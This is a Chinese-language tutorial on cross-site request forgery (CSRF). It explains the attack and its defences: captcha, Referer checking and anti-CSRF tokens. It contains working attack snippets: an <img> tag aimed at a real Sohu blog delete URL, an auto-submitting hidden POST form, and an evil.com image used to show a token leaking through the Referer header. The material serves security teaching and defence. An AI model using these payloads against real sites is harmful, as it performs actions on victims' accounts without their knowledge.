跨站點請求僞造(CSRF)

CSRF的全名是Cross Site Request Forgery,翻譯成中文就是跨站點請求僞造。

 

1)CSRF 簡介

什麼是CSRF呢?我們先看一個例子。

在介紹XSS Payload時那個“刪除搜狐博客”的例子,登錄Sohu博客後,只需請求這個URL,就能把編號爲“156713012”的博客刪除。

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

這個URL同時還存在CSRF漏洞,我們將嘗試利用CSRF漏洞,刪除編號爲“156714243”的博客文件。這篇文章的標題是“test1”。

攻擊者首先在自己的域構造一個頁面:

http://www.a.com/csrf.html

其內容爲:

<img src="http://blog.sohu.com/manage/entry.do?m=delete&id=156714243" />

使用了一個 <img> 標籤,其地址指向了刪除博客文章的鏈接。

攻擊者誘使目標用戶,也就是博客主“test1test” 訪問這個頁面:

該用戶看到了一張無法顯示的圖片,再回頭看看搜狐博客:

發現原來存在的標題爲“test1”的博客文章,已經被刪除了!

原來剛纔訪問 http://www.a.com/csrf.html 時,圖片標籤向搜狐發送了一次GET請求:

而這次請求,導致了搜狐博客上的一篇文章被刪除。

回顧整個攻擊過程,攻擊者僅僅誘使用戶訪問了一個頁面,就以該用戶身份在第三方站點裏執行了一次操作。這個刪除博客文章的請求,是攻擊者所僞造的,所以這種攻擊就叫做“跨站點請求僞造”。

 

2)GET?POST?

在CSRF攻擊流行之初,曾有一種錯誤的觀點,認爲CSRF攻擊只能有GET請求發起,因此很多開發者都認爲只要把重要的操作改成只允許POST請求,就能防止CSRF攻擊。這種錯誤的觀點形成的原因主要在於,大多數CSRF攻擊發起時,使用的HTML標籤是<img>、<iframe>、<script>等帶 “src” 屬性的標籤,這類標籤只能發起一次 GET 請求,而不能發起 POST 請求。而對於很多網站來說,一些重要操作並未嚴格區分 GET 與 POST,攻擊者可以使用 GET 來請求表單的提交地址。比如在PHP中,如果使用的是 $_REQUEST,  而非$_POST 獲取變量,則會存在這個問題。

對於一個表單來說,用戶往往也可以使用GET方式提交參數。比如以下表單:

<form action="/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>

用戶可以嘗試構造一個GET請求:

http://host/register?username=test&password=passwd

來提交,若服務器端未對請求方法進行限制,則這個請求會通過。

如果服務器已經區分了GET 與 POST,那麼攻擊者還有什麼方法呢?對於攻擊者來說,有若干個方法可以構造出一個POST請求。

最簡單的方法,就是在一個頁面中構造號一個form表單,然後使用JavaScript自動提交這個表單。比如,攻擊者在www.b.com/test.html中編寫如下代碼:

<form action="http://www.a.com/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f = document.getElementById("register");
f.inputs[0].value = "test";
f.inputs[1].value = "passwd";
f.submit();
</script>

攻擊者甚至可以將這個頁面隱藏在一個不可見的iframe窗口中,那麼整個自動提交表單的過程,對於用戶來說也是不可見的。

 

3)CSRF 防禦

CSRF攻擊是一種比較奇特的攻擊,下面看看什麼方法可以防禦這種攻擊。

1. 驗證碼

驗證碼被認爲是對抗CSRF攻擊最簡潔而有效的防禦方法。

CSRF攻擊的過程,往往是在用戶不知情的情況下構造了網絡請求。而驗證碼,則強制用戶必須與應用進行交互,才能完成最終請求。因此在通常情況下,驗證碼能夠很好的遏制CSRF攻擊。

但是驗證碼並非萬能。很多時候,出於用戶體驗考慮,網站不能給所有的操作都加上驗證碼。因此,驗證碼只能作爲防禦CSRF的一種輔助手段,而不能作爲主要的解決方案。

 

2. Referer Check

Referer Check 在互聯網中最常見的應用就是“防止圖片盜鏈”。同理,Referer Check也可以被用於檢查請求是否來自合法的“源”。

常見的互聯網應用,頁面與頁面之間都具有一定的邏輯關係,這就使得每個正常請求的Referer具有一定的規律。

比如一個“論壇發帖”的操作,在正常情況下需要先登錄到用戶後臺,或者訪問有發帖功能的頁面。在提交“發帖”的表單時,Referer的值必然是發帖表單所在的頁面。如果Referer的值不少這個頁面,甚至不是發帖網站的域,則極有可能是CSRF攻擊。

即使我們能夠通過檢查Referer是否合法來判斷用戶是否被CSRF攻擊,也僅僅是滿足了防禦的充分條件。Referer Check的缺陷在於,服務器並非什麼時候都能取到Referer。很多用戶出於隱私保護的考慮,限制了Referer的發送。在某些情況下,瀏覽器也不會發送Referer,比如從HTTPS跳轉到HTTP,出於安全的考慮,瀏覽器也不會發送Referer。

我們無法依賴於Referer Check 作爲CSRF的主要手段。但是通過Referer Check來監控CSRF攻擊的發生,倒是一種可行的方法。

 

3. Anti CSRF Token

現在業界對CSRF的防禦,一致的做法是使用一個Token。在介紹此方法前,先了解一下CSRF的本質。

 

CSRF的本質

CSRF爲什麼能夠攻擊成功?其本質原因是重要操作的所有參數都是可以被攻擊者猜測到的。攻擊者只能預測出URL的所有參數與參數值,才能成功構造一個僞造的請求;反之,攻擊者將無法攻擊成功。出於這個原因,可以想到一個解決方案:把參數加密,或者使用一些隨機數,從而讓攻擊者無法猜測到參數值。這是”不可預測性原則“的一種應用。

比如,一個刪除操作的URL是:

http://host/path/delete?username=abc&item=123

把其中的username參數改成哈希值:

http://host/path/delete?username=md5(salt+abc)&item=123

這樣,在攻擊者不知道salt的情況下,是無法構造出這個URL的,因此也就無從發起CSRF攻擊了。而對於服務器來說,則可以從Session或Cookie中取得”username=abc“的值,再結合salt對真個請求進行驗證,正常請求會被認爲是合法的。

但是這個方法也存在一些問題。首先,加密或混淆後的URL將變得非常難讀,對用戶非常不友好。其次,如果加密的參數每次都改變,則某些URL將無法再被用戶收藏。最後,普通的參數如果也被加密或哈希,將會給數據分析工作帶來很大的困擾,因爲數據分析工作常常需要用到參數的明文。

因此,我們需要一個更加通用的解決方案來幫助解決這個問題。這個方案就是使用Anti CSRF Token。

回到上面的URL中,保持原參數不變,新增一個參數Token。這個Token的值是隨機的,不可預測:

http://host/path/delete?username=abc&item=123&token=[random(seed)]

Token需要足夠隨機,必須使用足夠安全的隨機數生成算法,或者採用真隨機數生成器。Token應該作爲一個”祕密“,爲用戶與服務器所共同持有,不能被第三者知曉。在實際應用中,Token可以放在用戶的Session中,或者瀏覽器的Cookie中。

一個由於Token的存在,攻擊者無法再構造出一個完整的URL實施CSRF攻擊。

Token需要同時放在表單和Session中。在提交請求時,服務器只需要驗證表單中的Token,與用戶Session(或Cookie)中的Token是否一致,如果一致,則認爲是合法請求;如果不一致,或者有一個爲空,則請求不合法,可能發生了CSRF攻擊。

如下這個表單中,Token作爲一個隱藏的input字段,放在form中:

同時Cookie中也包含了一個Token:

 

Token的使用原則

Anti CSRF Token在使用時,有若干注意事項。

防禦CSRF的Token,是根據”不可預測性原則“ 設計的方案,所以Token的生成一定要足夠隨機,需要使用安全的隨機數生成器生成Token。

此外,這個Token的目的不是爲了防止重複提交。所以爲了使用方便,可以允許在一個用戶的有效生命週期內,在Token消耗掉前都使用同一個Token。但是如果用戶已經提交了表單,則這個Token已經消耗掉,應該再次重新生成一個新的Token。

如果Token保存在Cookie中,而不是服務器端的Session中,則會帶來一個新的問題。如果一個用戶打開幾個相同的頁面同時操作,當某個頁面消耗掉Token後,其他頁面的表單 內保存的還是被消耗掉的那個Token,因此其他頁面的表單再次提交時,會出現Token錯誤。在這種情況下,可以考慮生成多個有效的Token,以解決多頁面共存的場景。

最後,使用Token時應該注意Token的保密性。Token如果出現在某個頁面的URL中,則可能會通過Referer的方式泄露。比如以下頁面:

http://host/path/manage?username=abc&token=[random]

這個manage頁面是一個用戶面板,用戶需要在這個頁面提交表單或者單擊”刪除“按鈕,才能完成刪除操作。

在這種場景下,如果這個頁面包含了一張攻擊者能指定地址的圖片:

<img src="http://evil.com/notexist" />

則”http://host/path/manage?username=abc&token=[random]" 會作爲HTTP請求的Referer 發送到eveil.com的服務器上,從而導致Token泄露。

因此在使用Token時,應該儘量吧Token放在表單中。把敏感操作由GET改爲POST,以form表單(或者AJAX)的形式提交,可以避免Token泄露。

此外,還有一些其他的途徑可能導致Token泄露。比如XSS漏洞或者一些跨域漏洞,都可能讓攻擊者竊取到Token的值。

CSRF的Token僅僅用於對抗CSRF攻擊,當網站還同時存在XSS漏洞時,這個方案就會變得無效,因爲XSS可以模擬客戶端瀏覽器執行任意操作。在XSS攻擊下,攻擊者完全可以請求頁面後,讀出頁面內容裏的Token值,然後再構造出一個合法的請求。這個過程可以稱之爲XSRF,和CSRF以示區分。

XSS帶來的問題,應該使用XSS的防禦方案予以解決,否則CSRF的Token防禦就是空中樓閣。安全防禦的體系是相輔相成、缺一不可的。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章